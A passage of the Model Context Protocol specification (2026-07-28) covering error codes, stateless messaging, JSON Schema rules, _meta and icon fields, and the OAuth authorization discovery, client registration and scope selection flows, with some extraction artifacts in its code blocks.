- Error responses **MAY** include a `data` member with additional information of any type, such as nested errors.

Error Codes

MCP uses the standard JSON-RPC 2.0 error codes (`-32700` , `-32600` to `-32603`) for general protocol failures.

JSON-RPC 2.0 reserves the range `-32000` to `-32099` for implementation-defined server errors. MCP partitions this range as follows:

- `-32000` to `-32019` — **legacy**. Codes in this sub-range were allocated by implementations before this policy was introduced. New codes **MUST NOT** be allocated in this sub-range, and new implementations **SHOULD NOT** use codes from this sub-range at all. Apart from `-32002` (see below), receivers **MUST NOT** assume any specific meaning for these codes.
- `-32020` to `-32099` — **reserved for the MCP specification**. Error codes in this sub-range are defined exclusively by the MCP specification and recorded in the [schema](#). Implementations **MUST NOT** emit any code from this sub-range that is not defined by this specification and **MUST** use defined codes only with their specified meanings.

MCP defines the following error codes:

Code	Name
<code>-32020</code>	HeaderMismatch
<code>-32021</code>	MissingRequiredClientCapability
<code>-32022</code>	UnsupportedProtocolVersion

Codes defined by earlier protocol versions remain reserved and will not be reused. Implementations of this protocol version **MUST NOT** emit these codes:

- `-32002` — resource not found (2025-11-25 and earlier; replaced by `-32602`). Clients **SHOULD** [still accept `-32002`](#) from servers implementing earlier versions.
- `-32042` — URL elicitation required (2025-11-25 only).

Errors that are purely local to an implementation (for example, a request timeout raised inside an SDK) are not currently assigned codes by this specification. Implementations surfacing local errors in JSON-RPC-shaped structures should ensure they cannot be mistaken for errors received from the peer. Future versions of the specification may define standard codes for common local error conditions in the reserved sub-range.

New error codes for purposes not defined by this specification **SHOULD** be allocated outside the JSON-RPC reserved range (`-32768` to `-32000`); the remainder of the integer space is available for application-defined errors.

Notifications

[Notifications](#) are sent from the client to the server or vice versa, as a one-way message. The receiver **MUST NOT** send a response.

```
{
  jsonrpc: "2.0";
  method: string;
  params?: {
    [key: string]: unknown;
  };
}
```

- Notifications **MUST NOT** include an ID.

Message Patterns

The Model Context Protocol (MCP) supports several [Message Patterns](#) that define how clients and servers interact:

1. [Request and Response](#): A client sends a request to the server, and the server responds with a result or error.
2. [Multi Round-Trip Requests \(MRTR\)](#): A server requires additional client input (sampling, elicitation, or roots) to complete a request.
3. [Subscribe and Notify](#): A client subscribes to a stream of notifications from the server, which are sent as they occur.

Statelessness

The Model Context Protocol (MCP) is a **stateless protocol**: all the information needed to process a request is contained in the request itself. A server processes each request independently; no state should be inferred from previous requests, even those on the same connection or stream.

Specifically:

- Servers **MUST NOT** rely on prior requests over the same connection to establish context (e.g., capabilities, protocol version, client identity). Every request supplies this metadata in its [meta](#) field.
- Servers **SHOULD** be prepared to handle requests associated with multiple tasks, threads, or conversations.
- Servers **SHOULD NOT** require that a client reuse the same connection or process to perform related operations.
- Clients **SHOULD NOT** use an individual task, thread, or conversation as the lifetime boundary for the stdio process.
- State that needs to span multiple requests (e.g., long-running tasks, application-level handles) **MUST** be referenced by an explicit identifier the client passes on each request.

참고

This implies that an open connection, such as a STDIO process, is not a conversation or session: clients may interleave unrelated requests on the same transport, and a server must not treat connection or process identity as a proxy for conversation or session continuity.

Long-lived requests like [subscriptions/listen](#) remain request/response; the response is just an open stream of notifications. Their state is scoped to the request itself, not to the connection underneath.

정보

For a walkthrough of how the per-request model maps to SDK code, see the [Architecture guide](#).

Auth

MCP provides an [Authorization](#) framework for use with HTTP. Implementations using an HTTP-based transport **SHOULD** conform to this specification, whereas implementations using STDIO transport **SHOULD NOT** follow this specification, and instead retrieve credentials from the environment.

Additionally, clients and servers **MAY** negotiate their own custom authentication and authorization strategies.

For further discussions and contributions to the evolution of MCP's auth mechanisms, join us in [GitHub Discussions](#) to help shape the future of the protocol!

Schema

The full specification of the protocol is defined as a [TypeScript schema](#). This is the source of truth for all protocol messages and structures.

There is also a [JSON Schema](#), which is automatically generated from the TypeScript source of truth, for use with various automated tooling.

JSON Schema Usage

The Model Context Protocol uses JSON Schema for validation throughout the protocol. This section clarifies how JSON Schema should be used within MCP messages.

Schema Dialect

MCP supports JSON Schema with the following rules:

1. **Default dialect:** When a schema does not include a `$schema` field, it defaults to [JSON Schema 2020-12](#)
2. **Explicit dialect:** Schemas MAY include a `$schema` field to specify a different dialect
3. **Supported dialects:** Implementations MUST support at least 2020-12 and SHOULD document which additional dialects they support
4. **Recommendation:** Implementors are RECOMMENDED to use JSON Schema 2020-12.

Example Usage

Default dialect (2020-12):

```
{
  "type": "object",
  "properties": {
    "name": { "type": "string" },
    "age": { "type": "integer", "minimum": 0 }
  },
  "required": ["name"]
}
```

Explicit dialect (draft-07):

```
{
  "$schema": "http://json-schema.org/draft-07/schema#",
  "type": "object",
  "properties": {
    "name": { "type": "string" },
    "age": { "type": "integer", "minimum": 0 }
  },
}
```

```
"required": ["name"]
}
```

Implementation Requirements

- Clients and servers **MUST** support JSON Schema 2020-12 for schemas without an explicit `$schema` field
- Clients and servers **MUST** validate schemas according to their declared or default dialect. They **MUST** handle unsupported dialects gracefully by returning an appropriate error indicating the dialect is not supported.
- Clients and servers **SHOULD** document which schema dialects they support

Schema Validation

- Schemas **MUST** be valid according to their declared or default dialect

`$ref` Resolution

JSON Schema 2020-12 permits `$ref` to point at an absolute URI. Implementations **MUST NOT** automatically dereference `$ref` values that resolve to a network URI.

Implementations **MAY** offer an opt-in mode that fetches non-local `$ref`s but it **MUST** be disabled by default and **SHOULD** enforce an allowlist of hosts or at minimum reject loopback, link-local, and private network addresses, apply timeouts and size limits, and log dereferenced URIs.

Schemas that fail to validate due to an unresolved external `$ref` **SHOULD** be rejected rather than silently treated as permissive.

Composition-Keyword Resource Use

Composition keywords (`anyOf`, `oneOf`, `allOf`, `if/then/else`) and `$defs` enable expressive schemas but can be expensive to validate. Implementations **SHOULD** apply reasonable bounds, such as a maximum schema depth, a cap on the total number of subschemas, or a per-validation time budget, to prevent a malicious schema from acting as a Denial-of-Service vector against the validator.

General fields

`_meta`

The `_meta` property/parameter is used by MCP to allow clients and servers to attach additional metadata to their interactions.

Certain key names are reserved by MCP for protocol-level metadata, as specified below; implementations **MUST NOT** make assumptions about values at these keys.

Key name format: valid `_meta` key names have two segments: an optional **prefix**, and a **name**.

Prefix:

- If specified, MUST be a series of labels separated by dots (`.`), followed by a slash (`/`).
- Labels MUST start with a letter and end with a letter or digit; interior characters can be letters, digits, or hyphens (`-`).
- Implementations SHOULD use reverse DNS notation (e.g., `com.example/` rather than `example.com/`).
- Any prefix where the second label is `modelcontextprotocol` or `mcp` is **reserved** for MCP use.
- For example: `io.modelcontextprotocol/` , `dev.mcp/` , `org.modelcontextprotocol.api/` , and `com.mcp.tools/` are all reserved.
- However, `com.example.mcp/` is NOT reserved, as the second label is `example` .

Name:

- Unless empty, MUST begin and end with an alphanumeric character (`[a-z0-9A-Z]`).
- MAY contain hyphens (`-`), underscores (`_`), dots (`.`), and alphanumerics in between.

Reserved keys:

The following `_meta` keys are reserved by this specification:

Key	Description	Defined in
<code>progressToken</code>	Opts the request into progress notifications	Progress
<code>io.modelcontextprotocol/protocolVersion</code>	Protocol version for a request	Per-request protocol fields (below)
<code>io.modelcontextprotocol/clientInfo</code>	Client name and version	Per-request protocol fields (below)
<code>io.modelcontextprotocol/clientCapabilities</code>	Client capabilities relevant to a request	Per-request protocol fields (below)
<code>io.modelcontextprotocol/logLevel</code>	Minimum log level the server should emit for a request	Logging
<code>io.modelcontextprotocol/subscriptionId</code>	Correlates a notification with its originating subscription	Subscriptions
<code>traceparent</code> , <code>tracestate</code> , <code>baggage</code>	OpenTelemetry trace context propagation	OpenTelemetry trace context (below)

Official [extensions](#) define additional `_meta` keys under the `io.modelcontextprotocol/` prefix, and third-party extensions use their own vendor prefix. In both cases the keys are specified in the extension's documentation.

Per-request protocol fields:

Client requests carry the following `io.modelcontextprotocol/*` fields in `_meta`; fields marked as required **MUST** be included on every request. Servers use these to identify the protocol version and capabilities in use without relying on any prior connection state. See [Versioning and Compatibility](#) for version negotiation rules.

Key	Type	Required	Description
<code>io.modelcontextprotocol/protocolVersion</code>	<code>string</code>	Yes	Protocol version for this request (e.g., <code>"2026-07-28"</code>)
<code>io.modelcontextprotocol/clientInfo</code>	<code>Implementation</code>	No	Client name and version
<code>io.modelcontextprotocol/clientCapabilities</code>	<code>ClientCapabilities</code>	Yes	Client capabilities relevant to this request
<code>io.modelcontextprotocol/logLevel</code>	<code>LoggingLevel</code>	No	Minimum log level the server should emit for this request

A request missing any required field is malformed; the server **MUST** reject it with JSON-RPC error code `-32602` (Invalid params). On HTTP, the response status **MUST** be `400 Bad Request`.

Clients **SHOULD** include `io.modelcontextprotocol/clientInfo` on every request unless specifically configured not to do so.

A server **MUST NOT** rely on capabilities the client has not declared. If processing a request requires a capability the client did not include in `io.modelcontextprotocol/clientCapabilities`, the server **MUST** return a [MissingRequiredClientCapabilityError](#) (`-32021`) whose `data.requiredCapabilities` lists the missing capabilities. On HTTP, the response status **MUST** be `400 Bad Request`.

Per-response protocol fields:

Servers **SHOULD** include the following `io.modelcontextprotocol/*` field in every result's `_meta`, unless specifically configured not to do so, to identify themselves without relying on any prior connection state:

Key	Type	Required	Description
<code>io.modelcontextprotocol/serverInfo</code>	<code>Implementation</code>	No	Server name and version

참고

`io.modelcontextprotocol/clientInfo` and `io.modelcontextprotocol/serverInfo` are self-reported by the sender and are not verified by the protocol. They are intended for display, logging, and debugging. Implementations **SHOULD NOT** use them to change the behavior of the client or server, and **SHOULD NOT** rely on them for security decisions.

On notifications delivered via a [subscriptions/listen](#) stream, the server **MUST** include `io.modelcontextprotocol/subscriptionId` in `_meta` so the client can correlate the notification with the originating subscription request.

OpenTelemetry trace context:

As an exception to the prefix requirement above, the keys `traceparent`, `tracestate`, and `baggage` are reserved for [OpenTelemetry](#) trace context propagation. When present, their values **MUST** follow [W3C Trace Context](#) and [W3C Baggage](#) formats respectively.

This exception exists to maintain compatibility with existing implementations and [OpenTelemetry semantic conventions for MCP](#).

Non-normative example of trace context in `_meta`:

```
{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "tools/call",
  "params": {
    "name": "get_weather",
    "arguments": {
      "location": "New York"
    },
    "_meta": {
      "traceparent": "00-0af7651916cd43dd8448eb211c80319c-00f067aa0ba902b7-01"
    }
  }
}
```

icons

The `icons` property provides a standardized way for servers to expose visual identifiers for their resources, tools, prompts, and implementations. Icons enhance user interfaces by providing visual context and improving the discoverability of available functionality.

Icons are represented as an array of `Icon` objects, where each icon includes:

- `src`: A URI pointing to the icon resource (required). This can be:
 - An HTTP/HTTPS URL pointing to an image file
 - A data URI with base64-encoded image data
- `mimeType`: Optional MIME type if the server's type is missing or generic
- `sizes`: Optional array of size specifications (e.g., `["48x48"]`, `["any"]` for scalable formats like SVG, or `["48x48", "96x96"]` for multiple sizes)
- `theme`: Optional theme preference (`light` or `dark`) for the icon background

Required MIME type support:

Clients that support rendering icons **MUST** support at least the following MIME types:

- `image/png` - PNG images (safe, universal compatibility)
- `image/jpeg` (and `image/jpg`) - JPEG images (safe, universal compatibility)

Clients that support rendering icons **SHOULD** also support:

- `image/svg+xml` - SVG images (scalable but requires security precautions as noted below)
- `image/webp` - WebP images (modern, efficient format)

Security considerations:

Consumers of icon metadata **MUST** take appropriate security precautions when handling icons to prevent compromise:

- Treat icon metadata and icon bytes as untrusted inputs and defend against network, privacy, and parsing risks.
- Ensure that the icon URI is either a HTTPS or `data:` URI. Clients **MUST** reject icon URIs that use unsafe schemes and redirects, such as `javascript:`, `file:`, `ftp:`, `ws:`, or local app URI schemes.
- Disallow scheme changes and redirects to hosts on different origins.
- Be resilient against resource exhaustion attacks stemming from oversized images, large dimensions, or excessive frames (e.g., in GIFs).
- Consumers **MAY** set limits for image and content size.
- Fetch icons without credentials. Do not send cookies, `Authorization` headers, or client credentials.
- Verify that icon URIs are from the same origin as the server. This minimizes the risk of exposing data or tracking information to third-parties.
- Exercise caution when fetching and rendering icons as the payload **MAY** contain executable content (e.g., SVG with [embedded JavaScript](#) or [extended capabilities](#)).
- Consumers **MAY** choose to disallow specific file types or otherwise sanitize icon files before rendering.
- Validate MIME types and file contents before rendering. Treat the MIME type information as advisory. Detect content type via magic bytes; reject on mismatch or unknown types.
- Maintain a strict allowlist of image types.

Usage:

Icons can be attached to:

- `Implementation`: Visual identifier for the MCP server/client implementation
- `Tool`: Visual representation of the tool's functionality
- `Prompt`: Icon to display alongside prompt templates
- `Resource`: Visual indicator for different resource types

Multiple icons can be provided to support different display contexts and resolutions. Clients should select the most appropriate icon based on their UI requirements.

**mcp / specification/2026-07-
28/basic/authorization**

Authorization Server Discovery

mcp/specification/2026-07-28/basic/authorization/authorization-server-discovery.mdx

This document describes the mechanisms by which MCP servers advertise their associated authorization servers to MCP clients, as well as the discovery process through which MCP clients can determine authorization server endpoints and supported capabilities.

Authorization Server Location

MCP servers **MUST** implement the OAuth 2.0 Protected Resource Metadata ([RFC9728](#)) specification to indicate the locations of authorization servers. The Protected Resource Metadata document returned by the MCP server **MUST** include the `authorization_servers` field containing at least one authorization server.

The specific use of `authorization_servers` is beyond the scope of this specification; implementers should consult OAuth 2.0 Protected Resource Metadata ([RFC9728](#)) for guidance on implementation details.

Implementors should note that Protected Resource Metadata documents can define multiple authorization servers. The responsibility for selecting which authorization server to use lies with the MCP client, following the guidelines specified in [RFC9728 Section 7.6 "Authorization Servers"](#).

When multiple authorization servers are listed in `authorization_servers`, each is an independent OAuth 2.0 authorization server. Consistent with [RFC 6749 Section 2.2](#), client identifiers are unique to the authorization server that issued them. Clients **MUST** maintain separate registration state (client credentials, tokens) per authorization server and **MUST NOT** assume that credentials valid for one authorization server will be accepted by another. See [Authorization Server Binding](#) for the requirements on associating client credentials with the authorization server that issued them.

Protected Resource Metadata Discovery Requirements

MCP servers **MUST** implement one of the following discovery mechanisms to provide authorization server location information to MCP clients:

1. **WWW-Authenticate Header:** Include the resource metadata URL in the `WWW-Authenticate` HTTP header under `resource_metadata` when returning `401 Unauthorized` responses, as described in [RFC9728 Section 5.1](#).
2. **Well-Known URI:** Serve metadata at a well-known URI as specified in [RFC9728](#). This can be either:
 - At the path of the server's MCP endpoint: `https://example.com/public/mcp` could host metadata at `https://example.com/.well-known/oauth-protected-resource/public/mcp`
 - At the root: `https://example.com/.well-known/oauth-protected-resource`

MCP clients **MUST** support both discovery mechanisms and use the resource metadata URL from the parsed `WWW-Authenticate` headers when present; otherwise, they **MUST** fall back to constructing and requesting the well-known URIs in the order listed above.

MCP clients **MUST** be able to parse `WWW-Authenticate` headers and respond appropriately to `HTTP 401 Unauthorized` responses from the MCP server.

Servers can also include a `scope` parameter in the `WWW-Authenticate` challenge to indicate the scopes required for accessing the resource; the scope semantics and the associated client behavior are defined in the [Scope Selection Strategy](#) section.

Authorization Server Metadata Discovery

MCP uses the default `oauth-authorization-server` well-known URI suffix defined in [RFC 8414 Section 3.1](#) for authorization server metadata discovery. MCP does not define an application-specific well-known URI suffix.

To handle different issuer URL formats and ensure interoperability with both OAuth 2.0 Authorization Server Metadata and OpenID Connect Discovery 1.0 specifications, MCP clients **MUST** attempt multiple well-known endpoints when discovering authorization server metadata.

The discovery approach is based on [RFC 8414 Section 3.1 "Authorization Server Metadata Request"](#) for OAuth 2.0 Authorization Server Metadata discovery and [RFC 8414 Section 5 "Compatibility Notes"](#) for OpenID Connect Discovery 1.0 interoperability.

For issuer URLs with path components (e.g., `https://auth.example.com/tenant1`), clients **MUST** try endpoints in the following priority order:

1. OAuth 2.0 Authorization Server Metadata with path insertion: `https://auth.example.com/.well-known/oauth-authorization-server/tenant1`
2. OpenID Connect Discovery 1.0 with path insertion: `https://auth.example.com/.well-known/openid-configuration/tenant1`
3. OpenID Connect Discovery 1.0 path appending: `https://auth.example.com/tenant1/.well-known/openid-configuration`

For issuer URLs without path components (e.g., `https://auth.example.com`), clients **MUST** try:

1. OAuth 2.0 Authorization Server Metadata: `https://auth.example.com/.well-known/oauth-authorization-server`
2. OpenID Connect Discovery 1.0: `https://auth.example.com/.well-known/openid-configuration`

After retrieving a metadata document, MCP clients **MUST** validate it as required by [RFC8414 Section 3.3](#) or [OpenID Connect Discovery Section 4.3](#): the `issuer` value in the document **MUST** be identical to the issuer identifier used to construct the well-known URL. If they differ, the client **MUST NOT** use the metadata. For example, a document fetched from `https://attacker.example/.well-`

known/oauth-authorization-server that contains "issuer": "https://honest.example" **MUST** be rejected.

Sequence Diagram

The following diagram outlines an example flow:

```
sequenceDiagram
    participant C as Client
    participant M as MCP Server (Resource Server)
    participant A as Authorization Server

    Note over C: Attempt unauthenticated MCP request
    C->>M: MCP request without token
    M-->>C: HTTP 401 Unauthorized (may include WWW-Authenticate header)

    alt Header includes resource_metadata
        Note over C: Extract resource_metadata URL from header
        C->>M: GET resource_metadata URI
        M-->>C: Resource metadata with authorization server URL
    else No resource_metadata in header
        Note over C: Fallback to well-known URI probing
        Note over M: _Not applicable if the MCP server is at the root_
        C->>M: GET /.well-known/oauth-protected-resource/mcp
        alt Sub-path metadata found
            M-->>C: Resource metadata with authorization server URL
        else Sub-path not found
            C->>M: GET /.well-known/oauth-protected-resource
            alt Root metadata found
                M-->>C: Resource metadata with authorization server URL
            else Root metadata not found
                Note over C: Abort or use pre-configured values
            end
        end
    end

    Note over C: Validate RS metadata,<br />build AS metadata URL

    C->>A: GET Authorization server metadata endpoint
    Note over C,A: Try OAuth 2.0 and OpenID Connect<br/>discovery endpoints in priority order
    A-->>C: Authorization server metadata

    Note over C,A: OAuth 2.1 authorization flow happens here

    C->>A: Token request
    A-->>C: Access token

    C->>M: MCP request with access token
```

M-->>C: MCP response

Note over C,M: MCP communication continues with valid token

Client Registration

mcp/specification/2026-07-28/basic/authorization/client-registration.mdx

MCP supports three client registration mechanisms. Choose based on your scenario:

- [Client ID Metadata Documents](#): When client and server have no prior relationship (most common)
- [Pre-registration](#): When client and server have an existing relationship
- [Dynamic Client Registration](#): For backwards compatibility or specific requirements

Clients supporting all options **SHOULD** use the following priority order:

1. Use pre-registered client information for the server if the client has it available
2. Use Client ID Metadata Documents if the Authorization Server indicates that it supports them (via `client_id_metadata_document_supported` in OAuth Authorization Server Metadata)
3. Use Dynamic Client Registration as a fallback if the Authorization Server supports it (via `registration_endpoint` in OAuth Authorization Server Metadata)
4. Prompt the user to enter the client information if no other option is available

Client ID Metadata Documents

MCP clients and authorization servers **SHOULD** support OAuth Client ID Metadata Documents as specified in [OAuth Client ID Metadata Document](#) for client registration.

This approach enables clients to use HTTPS URLs as client identifiers, where the URL points to a JSON document containing client metadata. This addresses the common MCP scenario where servers and clients have no pre-existing relationship.

Implementation Requirements

MCP implementations supporting Client ID Metadata Documents **MUST** follow the requirements specified in [OAuth Client ID Metadata Document](#). Key requirements include:

For MCP Clients:

- Clients **MUST** host their metadata document at an HTTPS URL following RFC requirements
- The `client_id` URL **MUST** use the "https" scheme and contain a path component, e.g.
`https://example.com/client.json`
- The metadata document **MUST** include at least the following properties: `client_id`, `client_name`, `redirect_uris`
- Clients **MUST** ensure the `client_id` value in the metadata matches the document URL exactly
- Clients **MAY** use `private_key_jwt` for client authentication (e.g., for requests to the token endpoint) with appropriate JWKS configuration as described in [Section 6.2 of Client ID Metadata Document](#)

For Authorization Servers:

- **SHOULD** fetch metadata documents when encountering URL-formatted client_ids
- **MUST** validate that the fetched document's `client_id` matches the URL exactly
- **SHOULD** cache metadata respecting HTTP cache headers
- **MUST** validate redirect URIs presented in an authorization request against those in the metadata document
- **MUST** validate the document structure is valid JSON and contains required fields
- **SHOULD** follow the security considerations in [Section 6 of Client ID Metadata Document](#) and in [Client ID Metadata Document Security](#)

Example Metadata Document

```
{
  "client_id": "https://app.example.com/oauth/client-metadata.json",
  "client_name": "Example MCP Client",
  "client_uri": "https://app.example.com",
  "logo_uri": "https://app.example.com/logo.png",
  "redirect_uris": [
    "http://127.0.0.1:3000/callback",
    "http://localhost:3000/callback"
  ],
  "grant_types": ["authorization_code"],
  "response_types": ["code"],
  "token_endpoint_auth_method": "none"
}
```

Client ID Metadata Documents Flow

The following diagram illustrates the complete flow when using Client ID Metadata Documents:

```
sequenceDiagram
    participant User
    participant Client as MCP Client
    participant Server as Authorization Server
    participant Metadata as Metadata Endpoint<br/>(Client's HTTPS URL)
    participant Resource as MCP Server

    Note over Client,Metadata: Client hosts metadata at<br/>https://app.example.com/oauth/metadata.j<br/>son

    User->>Client: Initiates connection to MCP Server
    Client->>Server: Authorization Request<br/>client_id=https://app.example.com/oauth/metadata.json<br/>redirect_uri=http://localhost:3000/callback

    Server->>User: Authentication prompt
    User->>Server: Provides credentials
    Note over Server: Authenticates user
```

Note over Server: Detects URL-formatted client_id

Server->>Metadata: GET https://app.example.com/oauth/metadata.json

Metadata-->>Server: JSON Metadata Document
{client_id, client_name, redirect_uris, ...}

Note over Server: Validates:
1. client_id matches URL
2. redirect_uri in allowed list
3. Document structure valid
4. (Optional) Domain allowed via trust policy

alt Validation Success

Server->>User: Display consent page with client_name

User->>Server: Approves access

Server->>Client: Authorization code via redirect_uri

Client->>Server: Exchange code for token
client_id=https://app.example.com/oauth/metadata.json

Server-->>Client: Access token

Client->>Resource: MCP requests with access token

Resource-->>Client: MCP responses

else Validation Failure

Server->>User: Error response
error=invalid_client or invalid_request

end

Note over Server: Cache metadata for future requests
(respecting HTTP cache headers)

Advertising CIMD Support

Authorization servers advertise that they support clients using Client ID Metadata Documents by including the following property in their OAuth Authorization Server metadata:

```
{
  "client_id_metadata_document_supported": true
}
```

MCP clients **SHOULD** check for this capability and **MAY** fall back to [Dynamic Client Registration](#) or [pre-registration](#) if unavailable.

Pre-registration

MCP clients **SHOULD** support an option for static client credentials such as those supplied by a pre-registration flow. This could be:

1. Hardcode a client ID (and, if applicable, client credentials) specifically for the MCP client to use when interacting with that authorization server, or
2. Present a UI to users that allows them to enter these details, after registering an OAuth client themselves (e.g., through a configuration interface hosted by the server).

Dynamic Client Registration

주의

Dynamic Client Registration is deprecated. New implementations should use [Client ID Metadata Documents](#) instead. This option remains available for backwards compatibility with authorization servers that do not support Client ID Metadata Documents.

MCP clients and authorization servers **MAY** support the OAuth 2.0 Dynamic Client Registration Protocol [RFC7591](#) to allow MCP clients to obtain OAuth client IDs without user interaction. This option is included for backwards compatibility with earlier versions of the MCP authorization spec.

Application Type and Redirect URI Constraints

When authorization servers support OpenID Connect (OIDC) and Dynamic Client Registration, they may enforce additional constraints on redirect URIs based on the `application_type` parameter as defined in [OpenID Connect Dynamic Client Registration 1.0](#).

MCP clients **MUST** specify an appropriate `application_type` during Dynamic Client Registration. Omitting it defaults to `"web"` under OIDC, which can conflict with native-style redirect URIs; non-OIDC servers safely ignore the parameter.

- **Native applications** (desktop applications, mobile apps, CLI tools, and locally-hosted web applications accessed via `localhost`) **SHOULD** use `application_type: "native"`
- **Web applications** (remote browser-based applications served from a non-local host) **SHOULD** use `application_type: "web"`

MCP clients **MUST** be prepared to handle registration failures due to redirect URI constraints when authorization servers implement OIDC. When a registration request is rejected, clients **SHOULD** surface a meaningful error to the user or developer. Clients **MAY** retry registration with an adjusted `application_type` or with redirect URIs that conform to the authorization server's requirements for the given application type.

Authorization Server Binding

Clients that use pre-registered credentials, or persist client credentials obtained via Dynamic Client Registration, **MUST** associate those credentials with the specific authorization server that issued them, keyed by the authorization server's `issuer` identifier. When the authorization server changes (detected via updated [protected resource metadata](#)), clients **MUST NOT** reuse client credentials from a different authorization server and **MUST** re-register with the new authorization server.

Pre-registered credentials are inherently specific to a particular authorization server. If the authorization server indicated by protected resource metadata no longer matches the one the

credentials were registered with, clients **SHOULD** surface an error rather than silently attempting to use mismatched credentials.

Client IDs based on Client ID Metadata Documents are portable across authorization servers, since they are self-hosted HTTPS URLs resolved by the authorization server on demand. No re-registration is needed when the authorization server changes.

Authorization

mcp/specification/2026-07-28/basic/authorization/index.mdx

Introduction

Purpose and Scope

The Model Context Protocol provides authorization capabilities at the transport level, enabling MCP clients to make requests to restricted MCP servers on behalf of resource owners. This specification defines the authorization flow for HTTP-based transports.

Protocol Requirements

Authorization is **OPTIONAL** for MCP implementations. When supported:

- Implementations using an HTTP-based transport **SHOULD** conform to this specification.
- Implementations using an STDIO transport **SHOULD NOT** follow this specification, and instead retrieve credentials from the environment.
- Implementations using alternative transports **MUST** follow established security best practices for their protocol.

Standards Compliance

This authorization mechanism is based on established specifications listed below, but implements a selected subset of their features to ensure security and interoperability while maintaining simplicity:

- OAuth 2.1 IETF DRAFT ([draft-ietf-oauth-v2-1-13](#))
- OAuth 2.0 Bearer Token Usage ([RFC6750](#))
- OAuth 2.0 Authorization Server Metadata ([RFC8414](#))
- OAuth 2.0 Dynamic Client Registration Protocol ([RFC7591](#))
- Resource Indicators for OAuth 2.0 ([RFC8707](#))
- OAuth 2.0 Protected Resource Metadata ([RFC9728](#))
- OAuth 2.0 Authorization Server Issuer Identification ([RFC9207](#))
- OAuth Client ID Metadata Documents ([draft-ietf-oauth-client-id-metadata-document-00](#))
- [OpenID Connect Discovery 1.0](#)
- OpenID Connect Dynamic Client Registration 1.0 ([OpenID Connect Registration](#))

Roles

A protected *MCP server* acts as an [OAuth 2.1 resource server](#), capable of accepting and responding to protected resource requests using access tokens.

An *MCP client* acts as an [OAuth 2.1 client](#), making protected resource requests on behalf of a resource owner.

The *authorization server* is responsible for interacting with the user (if necessary) and issuing access tokens for use at the MCP server. The implementation details of the authorization server are beyond the scope of this specification. It may be hosted with the resource server or a separate entity.

[Authorization Server Discovery](#) specifies how an MCP server indicates the location of its corresponding authorization server to a client.

Overview

1. Authorization servers **MUST** implement OAuth 2.1 with appropriate security measures for both confidential and public clients.
2. Authorization servers and MCP clients **SHOULD** support [OAuth Client ID Metadata Documents \(draft-ietf-oauth-client-id-metadata-document-00\)](#).
3. Authorization servers and MCP clients **MAY** support the OAuth 2.0 Dynamic Client Registration Protocol ([RFC7591](#)). Note that [Dynamic Client Registration](#) is deprecated and retained for backwards compatibility with authorization servers that do not support Client ID Metadata Documents.
4. MCP servers **MUST** implement OAuth 2.0 Protected Resource Metadata ([RFC9728](#)). MCP clients **MUST** use OAuth 2.0 Protected Resource Metadata for [authorization server discovery](#).
5. MCP authorization servers **MUST** provide at least one of the following discovery mechanisms:
 - OAuth 2.0 Authorization Server Metadata ([RFC8414](#)) - [OpenID Connect Discovery 1.0](#)

MCP clients **MUST** support both [discovery mechanisms](#) to obtain the information required to interact with the authorization server.

Authorization Server Discovery

MCP servers advertise their associated authorization servers through OAuth 2.0 Protected Resource Metadata, and MCP clients determine authorization server endpoints and supported capabilities through authorization server metadata discovery. Implementations **MUST** follow the normative discovery requirements defined in [Authorization Server Discovery](#).

Client Registration

Before initiating the authorization flow, MCP clients **MUST** obtain a client ID through one of three registration mechanisms: Client ID Metadata Documents, pre-registration, or Dynamic Client Registration, following the requirements and selection priority defined in [Client Registration](#).

Scope Selection Strategy

MCP servers **SHOULD** include a `scope` parameter in the `WWW-Authenticate` header as defined in [RFC 6750 Section 3](#) to indicate the scopes required for accessing the resource. This provides clients with immediate guidance on the appropriate scopes to request during authorization, following the principle of least privilege and preventing clients from requesting excessive permissions.

The scopes included in the `WWW-Authenticate` challenge **MAY** match `scopes_supported`, be a subset or superset of it, or an alternative collection that is neither a strict subset nor superset. Clients **MUST NOT** assume any particular set relationship between the challenged scope set and `scopes_supported`. Clients **MUST** treat the scopes provided in the challenge as authoritative for the current operation. These scopes are required to satisfy the current request. When re-authorizing, clients **SHOULD** include these scopes alongside any previously granted scopes to avoid losing permissions needed for other operations (see [Step-Up Authorization Flow](#)). Servers **SHOULD** strive for consistency in how they construct scope sets but they are not required to surface every dynamically issued scope through `scopes_supported`.

Example 401 response with scope guidance:

```
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer resource_metadata="https://mcp.example.com/.well-known/oauth-protected-resource",
                    scope="files:read"
```

When implementing authorization flows, MCP clients **SHOULD** follow the principle of least privilege by requesting only the scopes necessary for their intended operations. During the initial authorization handshake, MCP clients **SHOULD** follow this priority order for scope selection:

1. **Use `scope` parameter** from the initial `WWW-Authenticate` header in the 401 response, if provided
2. **If `scope` is not available**, use all scopes defined in `scopes_supported` from the Protected Resource Metadata document, omitting the `scope` parameter if `scopes_supported` is undefined.

The `scopes_supported` field is intended to represent the minimal set of scopes necessary for basic functionality (see [Scope Minimization](#)), with additional scopes requested incrementally through the step-up authorization flow steps described in the [Scope Challenge Handling](#) section.

Authorization Flow Steps

The registration step shown in the flow uses one of the mechanisms defined in [Client Registration](#).

The complete Authorization flow proceeds as follows:

```
sequenceDiagram
    participant B as User-Agent (Browser)
```

```

    participant C as Client
    participant M as MCP Server (Resource Server)
    participant A as Authorization Server

C->>M: MCP request without token
M->>C: HTTP 401 Unauthorized with WWW-Authenticate header
Note over C: Extract resource_metadata URL from WWW-Authenticate

C->>M: Request Protected Resource Metadata
M->>C: Return metadata

Note over C: Parse metadata and extract authorization server(s)<br/>Client determines AS to use

C->>A: GET Authorization server metadata endpoint
Note over C,A: Try OAuth 2.0 and OpenID Connect<br/>discovery endpoints in priority order
A-->>C: Authorization server metadata

alt Client ID Metadata Documents
    Note over C: Client uses HTTPS URL as client_id
    Note over A: Server detects URL-formatted client_id
    A->>C: Fetch metadata from client_id URL
    C-->>A: JSON metadata document
    Note over A: Validate metadata and redirect_uris
else Dynamic client registration
    C->>A: POST /register
    A->>C: Client Credentials
else Pre-registered client
    Note over C: Use existing client_id
end

    Note over C: Generate PKCE parameters<br/>Include resource parameter<br/>Apply scope selecti
on strategy<br/>Record expected issuer
    C->>B: Open browser with authorization URL + code_challenge + resource
    B->>A: Authorization request with resource parameter
    Note over A: User authorizes
    A->>B: Redirect to callback with authorization code + iss
    B->>C: Authorization code callback
    Note over C: Validate iss against recorded issuer (RFC 9207)
    C->>A: Token request + code_verifier + resource
    A->>C: Access token (+ refresh token)
    C->>M: MCP request with access token
